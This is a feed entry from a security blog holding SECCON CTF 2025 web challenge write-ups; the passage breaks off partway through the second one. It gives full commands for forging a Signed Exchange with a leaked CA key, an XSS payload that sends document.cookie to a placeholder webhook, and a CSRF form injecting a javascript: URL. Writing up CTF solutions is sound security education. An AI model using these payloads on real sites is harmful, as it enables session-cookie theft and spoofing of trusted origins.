<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" hreflang="en" /><updated>2025-12-19T02:18:53+00:00</updated><id>/feed.xml</id><title type="html">m0z</title><subtitle>Blog about web application security research and CTFs
</subtitle><author><name>&lt;firstname&gt; &lt;lastname&gt;</name><email>&lt;mail@domain.tld&gt;</email></author><entry><title type="html">SECCON CTF 2025 Writeups (Web)</title><link href="/research/2025-12-19-Seccon-CTF-2025-Writeups-Web/" rel="alternate" type="text/html" title="SECCON CTF 2025 Writeups (Web)" /><published>2025-12-19T00:00:00+00:00</published><updated>2025-12-19T02:18:34+00:00</updated><id>/research/Seccon-CTF-2025-Writeups-Web</id><content type="html" xml:base="/research/2025-12-19-Seccon-CTF-2025-Writeups-Web/"><![CDATA[<p>I played SECCON this year with mörger which, as the name might suggest, was a merger between my team AresX and Zer0RocketWrecks.</p>

<p>I think the authors this year found a very good balance in creating challenges which were conceptually easy to understand but difficult to solve. The best challenges are always those with very little source code/noise but incredibly clever solutions.</p>

<p>Thanks to satoooon, RyotaK and Ark for putting together the web challenges. In the end, we only managed to solve half of the challenges but I will include a writeup for all of them because they were all really interesting!</p>

<h2 id="webbroken-challenge">web/broken-challenge</h2>
<h3 id="initial-observations">Initial Observations</h3>

<p>Starting off, we open up the archive and can immediately see we have a directory for a “bot”. Opening up the source we can see where the flag gets stored:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">await</span> <span class="nx">context</span><span class="p">.</span><span class="nf">setCookie</span><span class="p">({</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">FLAG</span><span class="dl">"</span><span class="p">,</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">value</span><span class="p">:</span> <span class="nx">flag</span><span class="p">.</span><span class="nx">value</span><span class="p">,</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">domain</span><span class="p">:</span> <span class="dl">"</span><span class="s2">hack.the.planet.seccon</span><span class="dl">"</span><span class="p">,</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">path</span><span class="p">:</span> <span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">,</span>
<span class="err"> </span> <span class="err"> </span> <span class="p">});</span>
</code></pre></div></div>

<p>I think this is a good example of why it’s important (even when it may be obvious) to check where and how the flag is stored. Above we can see pretty quickly that the flag is set to <code class="language-plaintext highlighter-rouge">hack.the.planet.seccon</code> which is clearly not going to match the domain the web app is hosted… Speaking of which, where the hell is the web app?!</p>

<h3 id="web-app">Web App</h3>

<p>There is no accompanying web application with this challenge. After discovering this, I turned my attention back towards the bot source code. That’s where I saw something interesting.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">app</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">/hint</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
<span class="err"> </span> <span class="nx">res</span><span class="p">.</span><span class="nf">render</span><span class="p">(</span><span class="dl">"</span><span class="s2">hint</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
<span class="err"> </span> <span class="err"> </span> <span class="na">hint</span><span class="p">:</span> <span class="nx">fs</span><span class="p">.</span><span class="nf">readFileSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">./cert.key</span><span class="dl">"</span><span class="p">),</span>
<span class="err"> </span> <span class="p">});</span>
<span class="p">});</span>
</code></pre></div></div>

<p>The hint endpoint gives us the value of the <code class="language-plaintext highlighter-rouge">cert.key</code> file! I opened this on the remote but was disappointed to be greeted with “nope”. The file only gets passed into the template as a variable.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE html&gt;</span>
<span class="nt">&lt;html</span> <span class="na">data-theme=</span><span class="s">"light"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;head&gt;</span>
    <span class="nt">&lt;title&gt;</span>Hint<span class="nt">&lt;/title&gt;</span>
  <span class="nt">&lt;/head&gt;</span>
  <span class="nt">&lt;body&gt;</span>
    <span class="nt">&lt;p&gt;</span>nope<span class="nt">&lt;/p&gt;</span>
    <span class="nt">&lt;div</span> <span class="na">style=</span><span class="s">"opacity: 0;"</span><span class="nt">&gt;&lt;</span><span class="err">%=</span> <span class="na">hint</span> <span class="err">%</span><span class="nt">&gt;&lt;/div&gt;</span>
  <span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>But it does get rendered; just hidden. Inspecting the response we can recover the key:</p>

<pre><code class="language-key">-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIDXSM3v5wDSRra/TS/InNmXoVWqm4W/HsWyJ5qzqk0lUoAoGCCqGSM49
AwEHoUQDQgAElm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5
wGUkCtk/c9u1e64FKrqqHva6JMAJFafgOw==
-----END EC PRIVATE KEY-----
</code></pre>

<p>Okay so we have this “private key” but what exactly is this? The source code also gives us the public key.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-----BEGIN CERTIFICATE-----
MIIBizCCATCgAwIBAgIUbjrJ6hhsPbR+q3b8T6k3HkFyOEwwCgYIKoZIzj0EAwIw
ETEPMA0GA1UEAwwGc2VjY29uMB4XDTI1MTEzMDA5MTk1NloXDTM1MTEyODA5MTk1
NlowETEPMA0GA1UEAwwGc2VjY29uMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE
lm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5wGUkCtk/c9u1
e64FKrqqHva6JMAJFafgO6NmMGQwHQYDVR0OBBYEFDodm68MB38A8T2XQBNFvbqd
m0UNMB8GA1UdIwQYMBaAFDodm68MB38A8T2XQBNFvbqdm0UNMBIGA1UdEwEB/wQI
MAYBAf8CAQAwDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMCA0kAMEYCIQCDgCwj
OhKsCL0k3BQMLjpmIRLolYE9hIB9UQB7lEMlJAIhAM3Rujzc1PfYeejf/cZE+KFB
UbPgcyNGemJdufTNUF1z
-----END CERTIFICATE-----
</code></pre></div></div>

<p>Looking at the <code class="language-plaintext highlighter-rouge">Dockerfile</code> we can see a reference to the certificate appearing.</p>
<div class="language-Dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">RUN </span><span class="nb">mkdir</span> <span class="nt">-p</span> /home/pptruser/.pki/nssdb <span class="se">\
</span>
    &amp;&amp; certutil -A -d "sql:/home/pptruser/.pki/nssdb" -n "seccon" -t "CT,c,c" -i ./cert.crt
</code></pre></div></div>

<p>The path now becomes clear. The bot imports our certificate into its NSS database, effectively trusting it as a root certificate authority for SSL/TLS connections. This is the same mechanism used when installing tools like Burp Suite for intercepting HTTPS traffic.</p>

<h2 id="signed-exchanges-sxg">Signed Exchanges (SXG)</h2>

<p>This is a rather interesting technology. It enables a web server to serve content from any origin by packaging a full HTTP response into a single file and cryptographically signing it using the origin server’s private key.</p>

<p>There may be some confusion here because we do not have the private key for <code class="language-plaintext highlighter-rouge">hack.the.planet.seccon</code> but rather we have the private key for a trusted root CA. This means we can sign a certificate that is valid for <code class="language-plaintext highlighter-rouge">hack.the.planet.seccon</code> and then use that certificate to create a signed exchange for whatever response we want. The only issue left now is implementation details.</p>

<h2 id="online-certificate-status-protocol-ocsp">Online Certificate Status Protocol (OCSP)</h2>

<p>As previously alluded to, SXG enables us to host content for a specific origin on any origin we want. So, how does the browser implement this to ensure integrity?</p>

<p>The solution lies in OCSP. Once the browser parses the SXG response, it will retrieve the target URL which the resource is claiming to be from. It then reads the accompanying certificate URL.</p>

<p>The certificate URL must be served over HTTPS and provide a CBOR-encoded certificate chain that authorizes a specific certificate (key) to sign SXGs for the claimed origin.</p>

<h2 id="implementation">Implementation</h2>

<p>Okay now it’s time to put this all together and solve the challenge.</p>

<p>We’ll begin with the two files we already recovered above, namely the <code class="language-plaintext highlighter-rouge">cert.crt</code> and <code class="language-plaintext highlighter-rouge">cert.key</code> files.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl ecparam <span class="nt">-genkey</span> <span class="nt">-name</span> prime256v1 <span class="nt">-out</span> new.key
</code></pre></div></div>

<p>Firstly, we must generate a new private key as displayed above. This is the key we will later use to sign the malicious SXG.</p>

<div class="language-toml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">[</span><span class="n">req</span><span class="k">]</span>
<span class="n">prompt</span> <span class="o">=</span><span class="w"> </span><span class="err">no
distinguished_name = dn
req_extensions = v</span><span class="mi">3</span><span class="n">_req</span>

<span class="k">[</span><span class="n">dn</span><span class="k">]</span>
<span class="n">CN</span> <span class="o">=</span><span class="w"> </span><span class="err">hack.the.planet.seccon

</span><span class="p">[</span><span class="err">v</span><span class="mi">3</span><span class="err">_req]
basicConstraints = CA:FALSE
keyUsage = digitalSignature
subjectAltName = DNS:hack.the.planet.seccon,IP:&lt;ip&gt;
</span><span class="mf">1.3</span><span class="err">.</span><span class="mf">6.1</span><span class="err">.</span><span class="mf">4.1</span><span class="err">.</span><span class="mf">11129.2</span><span class="err">.</span><span class="mf">1.22</span> <span class="err">= ASN</span><span class="mi">1</span><span class="err">:NULL
</span></code></pre></div></div>

<p>We save the above as our <code class="language-plaintext highlighter-rouge">leaf.cnf</code> file for later use. Make sure to replace <code class="language-plaintext highlighter-rouge">&lt;ip&gt;</code> with the IP address of the server you plan to use. The OID portion of the above configuration grants the certificate access to the <code class="language-plaintext highlighter-rouge">CanSignHttpExchanges</code> extension which is a requirement for browsers to load SXG files.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl req <span class="nt">-new</span> <span class="nt">-key</span> new.key <span class="nt">-out</span> leaf.csr <span class="nt">-config</span> leaf.cnf
</code></pre></div></div>

<p>Above we generate a Certificate Signing Request (CSR) using the new private key we created and the configuration for the certificate.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl x509 <span class="nt">-req</span> <span class="nt">-in</span> leaf.csr <span class="nt">-CA</span> cert.crt <span class="nt">-CAkey</span> cert.key <span class="nt">-CAcreateserial</span> <span class="nt">-out</span> leaf.crt <span class="nt">-days</span> 90 <span class="nt">-extensions</span> v3_req <span class="nt">-extfile</span> leaf.cnf <span class="nt">-sha256</span>
</code></pre></div></div>

<p>Next we use the CSR to generate the certificate, signing it with the original <code class="language-plaintext highlighter-rouge">cert.crt</code> and <code class="language-plaintext highlighter-rouge">cert.key</code> files obtained at the beginning.</p>

<p>Typically we would rely on an OCSP server to actually carry out the next stage, but for simplicity we can just manually handle it.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">SERIAL</span><span class="o">=</span><span class="si">$(</span>openssl x509 <span class="nt">-in</span> leaf.crt <span class="nt">-serial</span> <span class="nt">-noout</span> | <span class="nb">cut</span> <span class="nt">-d</span><span class="o">=</span> <span class="nt">-f2</span><span class="si">)</span>
<span class="nb">printf</span> <span class="s2">"V</span><span class="se">\t</span><span class="s2">251231235959Z</span><span class="se">\t\t</span><span class="s2">%s</span><span class="se">\t</span><span class="s2">unknown</span><span class="se">\t</span><span class="s2">/CN=</span><span class="nv">$TARGET_DOMAIN</span><span class="se">\n</span><span class="s2">"</span> <span class="s2">"</span><span class="k">${</span><span class="nv">SERIAL</span><span class="k">}</span><span class="s2">"</span> <span class="o">&gt;</span> index.txt
</code></pre></div></div>

<p>This will store the data needed to mint a valid OCSP response for this certificate in the <code class="language-plaintext highlighter-rouge">index.txt</code> file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl ocsp <span class="nt">-issuer</span> cert.crt <span class="nt">-cert</span> leaf.crt <span class="nt">-reqout</span> leaf.req
</code></pre></div></div>

<p>Above we have generated the OCSP request and stored it into the <code class="language-plaintext highlighter-rouge">leaf.req</code> file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl ocsp <span class="nt">-index</span> index.txt <span class="se">\</span>
<span class="nt">-rsigner</span> cert.crt <span class="nt">-rkey</span> cert.key <span class="se">\</span>
<span class="nt">-CA</span> cert.crt <span class="se">\</span>
<span class="nt">-reqin</span> leaf.req <span class="se">\</span>
<span class="nt">-respout</span> leaf.ocsp <span class="se">\</span>
<span class="nt">-ndays</span> 7 <span class="se">\</span>
<span class="nt">-noverify</span>
</code></pre></div></div>

<p>Finally we generate the OCSP data and store it into the <code class="language-plaintext highlighter-rouge">leaf.ocsp</code> file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>leaf.crt cert.crt <span class="o">&gt;</span> fullchain.pem
</code></pre></div></div>

<p>We create the full chain for the leaf certificate and the trusted certificate. We will use this to create the final CBOR file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gen-certurl <span class="nt">-pem</span> fullchain.pem <span class="nt">-ocsp</span> leaf.ocsp <span class="o">&gt;</span> cert.cbor
</code></pre></div></div>

<p>You will need to install <code class="language-plaintext highlighter-rouge">gen-certurl</code> from <a href="https://github.com/WICG/webpackage/blob/main/go/signedexchange/README.md">go/signedexchange</a> before running the above command. You will also need <code class="language-plaintext highlighter-rouge">gen-signedexchange</code> from the same place.</p>

<p>Next, we will host our XSS payload.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span><span class="nx">top</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="s2">`&lt;webhook_url&gt;/</span><span class="p">${</span><span class="nf">btoa</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">)}</span><span class="s2">`</span><span class="p">;</span><span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>Naturally, you should replace <code class="language-plaintext highlighter-rouge">webhook_url</code> with your own.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gen-signedexchange <span class="se">\</span>
  <span class="nt">-uri</span> https://hack.the.planet.seccon/ <span class="se">\</span>
  <span class="nt">-content</span> exploit.html <span class="se">\</span>
  <span class="nt">-certificate</span> leaf.crt <span class="se">\</span>
  <span class="nt">-privateKey</span> new.key <span class="se">\</span>
  <span class="nt">-certUrl</span> https://&lt;ip&gt;/cert.cbor <span class="se">\</span>
  <span class="nt">-validityUrl</span> https://hack.the.planet.seccon/resource.validity.msg <span class="se">\</span>
  <span class="nt">-o</span> exploit.sxg

</code></pre></div></div>

<p>The final step is to generate the SXG file. Replacing <code class="language-plaintext highlighter-rouge">&lt;ip&gt;</code> with your own host.</p>

<p>For simplicity, I decided to host the CBOR and SXG on the same application. The CBOR must be served over HTTPS and so we need to serve them over a basic HTTPS server.</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">:443</span> <span class="p">{</span>
        <span class="kn">tls</span> <span class="s">./leaf.crt</span> <span class="s">./new.key</span>

        <span class="s">@sxg</span> <span class="s">path</span> <span class="n">/exploit.sxg</span>
        <span class="s">handle</span> <span class="s">@sxg</span> <span class="p">{</span>
                <span class="kn">header</span> <span class="s">Content-Type</span> <span class="s">"application/signed-exchange</span><span class="p">;</span><span class="kn">v=b3"</span>
                <span class="s">header</span> <span class="s">X-Content-Type-Options</span> <span class="s">"nosniff"</span>
                <span class="s">file_server</span>
        <span class="err">}</span>

        <span class="s">@cbor</span> <span class="s">path</span> <span class="n">/cert.cbor</span>
        <span class="s">handle</span> <span class="s">@cbor</span> <span class="p">{</span>
                <span class="kn">header</span> <span class="s">Content-Type</span> <span class="s">"application/cert-chain+cbor"</span>
                <span class="s">file_server</span>
        <span class="err">}</span>
<span class="err">}</span>
</code></pre></div></div>

<p>We can save the above <code class="language-plaintext highlighter-rouge">Caddyfile</code> to serve this purpose. The strict <code class="language-plaintext highlighter-rouge">Content-Type</code> and <code class="language-plaintext highlighter-rouge">X-Content-Type-Options</code> response headers are a requirement for SXG to work.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>caddy run <span class="nt">--config</span> ./Caddyfile <span class="nt">--adapter</span> caddyfile
</code></pre></div></div>

<p>After running this and passing in <code class="language-plaintext highlighter-rouge">https://&lt;ip&gt;/exploit.sxg</code> to the admin bot, we get a callback to our webhook containing the flag!</p>

<p><code class="language-plaintext highlighter-rouge">SECCON{congratz_you_hacked_the_planet_521ce0597cdcd1e3}</code></p>

<h2 id="further-reading">Further Reading</h2>

<p><a href="https://gist.github.com/betrisey/d5645e5463c95ea7f1e28dcfa8d5bd02">Sharer’s World - HITCON CTF 2023 (solve)</a>
<a href="https://blog.splitline.tw/hitcon-ctf-2023/">Sharer’s World - HITCON CTF 2023 (author’s writeup)</a>
<a href="https://web.dev/articles/signed-exchanges">Signed Exchanges</a>
<a href="https://github.com/WICG/webpackage/tree/main/go/signedexchange">go/signedexchange</a>
<a href="https://i.blackhat.com/BH-USA-25/Presentations/USA-25-Chen-Cross-Origin-Web-Attacks-via-HTTP2-Server-Push-and-Signed-HTTP-Exchange-Thursday.pdf">Blackhat SXG Slides</a>
<a href="https://www.ndss-symposium.org/wp-content/uploads/2025-1086-paper.pdf">SXG Attack Paper</a></p>
<h1 id="webdummyhole">web/dummyhole</h1>

<h2 id="initial-observations-1">Initial Observations</h2>

<p>Opening up the challenge we can see two directories; <code class="language-plaintext highlighter-rouge">bot</code> and <code class="language-plaintext highlighter-rouge">web</code> which should be pretty self explanatory.</p>

<p>Investigating <code class="language-plaintext highlighter-rouge">bot.js</code> we see that the <code class="language-plaintext highlighter-rouge">FLAG</code> is stored on the bot’s cookie.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">await</span> <span class="nx">context</span><span class="p">.</span><span class="nf">setCookie</span><span class="p">({</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">FLAG</span><span class="dl">'</span><span class="p">,</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">value</span><span class="p">:</span> <span class="nx">FLAG</span><span class="p">,</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">domain</span><span class="p">:</span> <span class="nx">APP_HOSTNAME</span><span class="p">,</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="na">path</span><span class="p">:</span> <span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">,</span>
<span class="err"> </span> <span class="err"> </span> <span class="p">});</span>
</code></pre></div></div>

<p>The bot accepts a <code class="language-plaintext highlighter-rouge">id</code> for a post and then visits it as seen below.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">await</span> <span class="nx">page</span><span class="p">.</span><span class="nf">goto</span><span class="p">(</span><span class="s2">`</span><span class="p">${</span><span class="nx">APP_URL</span><span class="p">}</span><span class="s2">/posts/?id=</span><span class="p">${</span><span class="nf">encodeURIComponent</span><span class="p">(</span><span class="nx">id</span><span class="p">)}</span><span class="s2">`</span><span class="p">,</span> <span class="p">{</span> <span class="na">timeout</span><span class="p">:</span> <span class="mi">10</span><span class="nx">_000</span> <span class="p">});</span>
</code></pre></div></div>

<p>Typically with XSS challenges 10 seconds would be a little bit too much time. Authors usually optimize this to save resources. We will see later on why it is a little higher than usual.</p>

<h2 id="finding-the-xss-sink">Finding the XSS sink</h2>

<p>Looking at the <code class="language-plaintext highlighter-rouge">logout.html</code> we see the first suspected XSS sink.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span>
<span class="err"> </span> <span class="err"> </span> <span class="nf">setTimeout</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="kd">const</span> <span class="nx">fallbackUrl</span> <span class="o">=</span> <span class="nb">decodeURIComponent</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;FALLBACK_URL&gt;</span><span class="dl">"</span><span class="p">);</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">fallbackUrl</span><span class="p">)</span> <span class="p">{</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">;</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="k">return</span><span class="p">;</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="p">}</span>
<span class="err"> </span> <span class="err"> </span> <span class="err"> </span> <span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="nx">fallbackUrl</span><span class="p">;</span>
<span class="err"> </span> <span class="err"> </span> <span class="p">},</span> <span class="mi">5000</span><span class="p">);</span>
<span class="err"> </span> <span class="err"> </span> 
<span class="err"> </span> <span class="err"> </span> <span class="kd">const</span> <span class="nx">postId</span> <span class="o">=</span> <span class="nb">decodeURIComponent</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;POST_ID&gt;</span><span class="dl">"</span><span class="p">);</span>
<span class="err"> </span> <span class="err"> </span> <span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="nx">postId</span> <span class="p">?</span> <span class="s2">`/posts/?id=</span><span class="p">${</span><span class="nx">postId</span><span class="p">}</span><span class="s2">`</span> <span class="p">:</span> <span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">;</span>
<span class="err"> </span> <span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>We have a definition for a function to execute after 5 seconds. This function reads a <code class="language-plaintext highlighter-rouge">&lt;FALLBACK_URL&gt;</code> and URL decodes it. If it is not defined, it will redirect to <code class="language-plaintext highlighter-rouge">/</code> but otherwise it will redirect to our <code class="language-plaintext highlighter-rouge">fallbackUrl</code> as defined. So where does this come from?</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">app</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/logout</span><span class="dl">'</span><span class="p">,</span> <span class="nx">requireAuth</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
<span class="err"> </span> <span class="kd">const</span> <span class="nx">sessionId</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">cookies</span><span class="p">.</span><span class="nx">session</span><span class="p">;</span>
<span class="err"> </span> <span class="nx">sessions</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="nx">sessionId</span><span class="p">);</span>
<span class="err"> </span> <span class="nx">res</span><span class="p">.</span><span class="nf">clearCookie</span><span class="p">(</span><span class="dl">'</span><span class="s1">session</span><span class="dl">'</span><span class="p">);</span>

<span class="err"> </span> <span class="kd">const</span> <span class="nx">post_id</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">post_id</span><span class="p">?.</span><span class="nx">length</span> <span class="o">&lt;=</span> <span class="mi">128</span> <span class="p">?</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">post_id</span> <span class="p">:</span> <span class="dl">''</span><span class="p">;</span>
<span class="err"> </span> <span class="kd">const</span> <span class="nx">fallback_url</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">fallback_url</span><span class="p">?.</span><span class="nx">length</span> <span class="o">&lt;=</span> <span class="mi">128</span> <span class="p">?</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">fallback_url</span> <span class="p">:</span> <span class="dl">''</span><span class="p">;</span>

<span class="err"> </span> <span class="kd">const</span> <span class="nx">logoutPage</span> <span class="o">=</span> <span class="nx">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="nx">__dirname</span><span class="p">,</span> <span class="dl">'</span><span class="s1">public</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">logout.html</span><span class="dl">'</span><span class="p">);</span>
<span class="err"> </span> <span class="kd">const</span> <span class="nx">logoutPageContent</span> <span class="o">=</span> <span class="nx">fs</span><span class="p">.</span><span class="nf">readFileSync</span><span class="p">(</span><span class="nx">logoutPage</span><span class="p">,</span> <span class="dl">'</span><span class="s1">utf-8</span><span class="dl">'</span><span class="p">)</span>
<span class="err"> </span> <span class="err"> </span> <span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="dl">'</span><span class="s1">&lt;POST_ID&gt;</span><span class="dl">'</span><span class="p">,</span> <span class="nf">encodeURIComponent</span><span class="p">(</span><span class="nx">post_id</span><span class="p">))</span>
<span class="err"> </span> <span class="err"> </span> <span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="dl">'</span><span class="s1">&lt;FALLBACK_URL&gt;</span><span class="dl">'</span><span class="p">,</span> <span class="nf">encodeURIComponent</span><span class="p">(</span><span class="nx">fallback_url</span><span class="p">));</span>
<span class="err"> </span> <span class="err"> </span> 
<span class="err"> </span> <span class="nx">res</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="nx">logoutPageContent</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>

<p>As seen above, the <code class="language-plaintext highlighter-rouge">fallback_url</code> is defined from <code class="language-plaintext highlighter-rouge">req.body.fallback_url</code> provided the URL is less than 128 characters in length. This means it is read from the body of a POST request. If we can control this value, then we can abuse javascript URI scheme to get XSS.</p>

<p>Since this endpoint has no CSRF protections, something like the payload below <em>should</em> work.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"http://web:80/logout"</span> <span class="na">method=</span><span class="s">"POST"</span><span class="nt">&gt;</span>
<span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"fallback_url"</span> <span class="na">value=</span><span class="s">"javascript:alert()"</span><span class="nt">&gt;</span>
<span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">id=</span><span class="s">"btn"</span><span class="nt">&gt;</span>
<span class="nt">&lt;/form&gt;</span>
<span class="nt">&lt;script&gt;</span><span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">btn</span><span class="dl">"</span><span class="p">).</span><span class="nf">click</span><span class="p">();</span><span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<h2 id="stopping-redirects">Stopping Redirects</h2>

<p>If you had a keen eye, you might have noticed already that the redirect happens 5 seconds after we visit the page. Unfortunately, another redirect happens prior to this.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">postId</span> <span class="o">=</span> <span class="nf">decodeURIComponent</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;POST_ID&gt;</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="nx">postId</span> <span class="p">?</span> <span class="s2">`/posts/?id=</span><span class="p">${</span><span class="nx">postId</span><span class="p">}</span><span class="s2">`</span> <span class="p">:</span> <span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">;</span>
</code></pre></div></div>

<p>This is a redirect to <code class="language-plaintext highlighter-rouge">&lt;POST_ID&gt;</code> which we again have control over. This time though we only inject into a GET parameter and so we can’t initiate the javascript URI for XSS. Even if left undefined, this redirect will still take place and our XSS through <code class="language-plaintext highlighter-rouge">&lt;FALLBACK_URL&gt;</code> will never execute.</p>

<p>The challenge here should be pretty clear; we want to stop the redirect from happening so it hits our fallback URL instead. So, how can we do that? There’s actually a few ways. One such way is to flood the connection pool.</p>

<h2 id="connection-pool-flooding">Connection Pool Flooding</h2>

<p>Connection pools are the dark arts of client side exploitation. Incredibly useful and very mysterious! The idea here is that a redirect requires sending a request to a remote origin (which uses a socket) whereas javascript URI does not. As such, if we can exhaust the connection pool, we could prevent the request from taking place!</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"http://localhost:80/logout"</span> <span class="na">method=</span><span class="s">"POST"</span> <span class="na">target=</span><span class="s">"_BLANK"</span><span class="nt">&gt;</span>
<span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"fallback_url"</span> <span class="na">value=</span><span class="s">"javascript:alert()"</span><span class="nt">&gt;</span>
<span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"post_id"</span> <span class="na">value=</span><span class="s">"1"</span><span class="nt">&gt;</span>
<span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">id=</span><span class="s">"btn"</span><span class="nt">&gt;</span>
<span class="nt">&lt;/form&gt;</span>
